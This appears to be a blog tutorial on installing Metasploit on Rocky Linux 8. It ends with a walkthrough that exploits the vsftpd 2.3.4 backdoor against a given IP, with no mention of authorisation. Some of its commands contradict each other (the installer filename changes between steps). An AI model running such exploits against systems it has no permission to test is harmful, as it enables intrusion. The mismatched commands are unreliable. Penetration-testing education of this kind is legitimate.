Security has emerged to be an issue of rapid growth in data. Data has become the most powerful asset to any company for productivity and sustainability too as well. This data is stored in servers either locally or in the cloud platform. For accessibility, these servers are always exposed to the internet. Hackers on the internet are always trying to find a lope hole on these servers to get access to data with the intention to still and even destroy. This breaks trust in any client who wants to backup data to any suspected cloud provider ever attacked. Thanks to technology because now we have modern tools that can be used to determine the vulnerability of systems and assist in putting up measures to mitigate any risk on systems. Today we are going to talk about Metasploit, one of the best modern penetration testing tools.

Metasploit is an open-source penetration testing tool used by hackers to determine vulnerabilities on the system and come up with effective measures to protect the system from any attack. It is a Ruby-based framework that allows one to perform pen-testing in both command line and GUI. Metasploit is used for analyzing system attacks and vulnerabilities by scanning the system. It integrates seamlessly with protocols such as Nmap, SNMP, Windows patch enumeration, and others to scan the system and gather information. Since is an open-source framework that can be manipulated to run on any operating system. In this guide, we are going to install Metasploit on Rocky Linux 8.

System Requirements.

  1. CPU – 2 GHz+processor.
  2. RAM – 4GB (8GB Recommended).
  3. Storage volume – 1GB (50GB Recommended).
  4. Postgresql
  5. Ruby on Rails.

Installing Metasploit Framework on Rocky Linux 8

The steps below are well highlighted in a systematic manner to enable you to follow keenly. To save time, just copy and paste the commands in every step to ease the task.

To download MSF installer script, run command below in terminal. Make sure you have curl command installed.

sudo dnf install curl
sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Make installer script executable.

chmod +x msfinstaller

Run installer to start installation of Metasploit Framework on Rocky Linux.

sudo ./msfinstaller

Screen shows you what is going to be installed and prompts to accept installation to continue.


Checking for and installing update..
Adding metasploit-framework to your repository list..Failed to set locale, defaulting to C.UTF-8
Metasploit                                                                                                            3.4 kB/s | 3.0 kB     00:00    
Dependencies resolved.
======================================================================================================================================================
 Package                               Architecture            Version                                              Repository                   Size
======================================================================================================================================================
Installing:
 metasploit-framework                  x86_64                  6.0.49+20210615102620~1rapid7-1.el6                  metasploit                  233 M

Transaction Summary
======================================================================================================================================================
Install  1 Package

Total download size: 233 M
Installed size: 554 M
Downloading Packages:

Wait for the installation process to run to completion. May take some minutes to complete but be advised that it is worth it. On due completion, exit root, go back to the standard user if you were running a terminal as root. Use the exit command to drop the root session.

Set up database. This is where metasploit data will be stored. Ware also going to setup web access credentials.

$ msfdb init

Say yes to initialize web-services.

[?] Would you like to init the webservice? (Not Required) [no]: yes
====================================================================
Running the 'init' command for the database:
Creating database at /home/techviewleo/.msf4/db
Starting database at /home/techviewleo/.msf4/db...success
Creating database users
Writing client authentication configuration file /home/techviewleo/.msf4/db/pg_hba.conf
Stopping database at /home/techviewleo/.msf4/db
Starting database at /home/techviewleo/.msf4/db...success
Creating initial database schema
====================================================================

Set username and password for web-services.

====================================================================
Running the 'init' command for the webservice:
[?] Initial MSF web service account username? [techviewleo]: admin
[?] Initial MSF web service account password? (Leave blank for random password): 
Generating SSL key and certificate for MSF web service
Attempting to start MSF web service...success
MSF web service started and online

Web login credentials have been successfully generated. Keep credentials securely because you will need for web access.

Creating MSF web service user admin

    ############################################################
    ##              MSF Web Service Credentials               ##
    ##                                                        ##
    ##        Please store these credentials securely.        ##
    ##    You will need them to connect to the webservice.    ##
    ############################################################

MSF web service username: admin
MSF web service password: password
MSF web service user API token: 694083de35cd7d91fb1ce0dfc33570e61f90109756e712f4ad3a752b6caa90a3aed733c2bf0d0a29


MSF web service configuration complete
The web service has been configured as your default data service in msfconsole with the name "local-https-data-service"

If needed, manually reconnect to the data service in msfconsole using the command:
db_connect --name local-https-data-service --token 694083de35cd7d91fb1ce0dfc33570e61f90109756e712f4ad3a752b6caa90a3aed733c2bf0d0a29 --cert /home/techviewleo/.msf4/msf-ws-cert.pem --skip-verify https://localhost:5443

The username and password are credentials for the API account:
https://localhost:5443/api/v1/auth/account

Persisting data service credentials in msfconsole

Now that we have Metasploit installed, we can access with msfconsole command.

$ msfconsole

Console start with screen shown below in terminal.

msfconsole.

                                                  

 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V5                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           https://metasploit.com


       =[ metasploit v6.0.49-dev-                         ]
+ -- --=[ 2141 exploits - 1140 auxiliary - 365 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE 
true

msf6 > 

Confim that database is running.

msf > db_status
[*] Connected to remote_data_service: (https://localhost:5443). Connection type: http. Connection name: local-https-data-service.

How To Use Metasploit.

We are going to carry out an illustration on how to use MSF in identifying and exploiting a system via loopholes. Let us see how one can hack vsftp server using Metasploit.

To find exploit, run the following command in msfconsole.

$ search vsftpd

msf6 > search vsftpd 

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

From above, metasploit has a backdoor that we can use to access the system . Run command below.

exploit/unix/ftp/vsftpd_234_backdoor

For more help, run show options command.

$ show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Run command below to remote host the target.

$ set RHOST 192.168.43.25

RHOST => 192.168.43.25

Now that you are in control of remote session, use this command to exploit system.

$ exploit

If you have vsftpd server running on the target then session will be initialized and you will be able to see files in remote server.

Conclusion

I would like to thank you for giving me this opportunity to prepare this simple guide on the installation of Metasploit in Rocky Linux 8. Furthermore, your support is highly appreciated. Gratitude to open source for providing a room for innovation as far as technology is concerned. Hope the guide was helpful and you really enjoyed it. Share with friends and leave comments or any queries. Stay tuned as still, more are coming.

Also read on previous articles.

Install and Use OpenVPN Client on Rocky Linux 8

Install and Configure vsftpd FTP Server on Rocky Linux 8

Install and Configure Samba File Sharing on Rocky Linux 8

LEAVE A REPLY

Please enter your comment!
Please enter your name here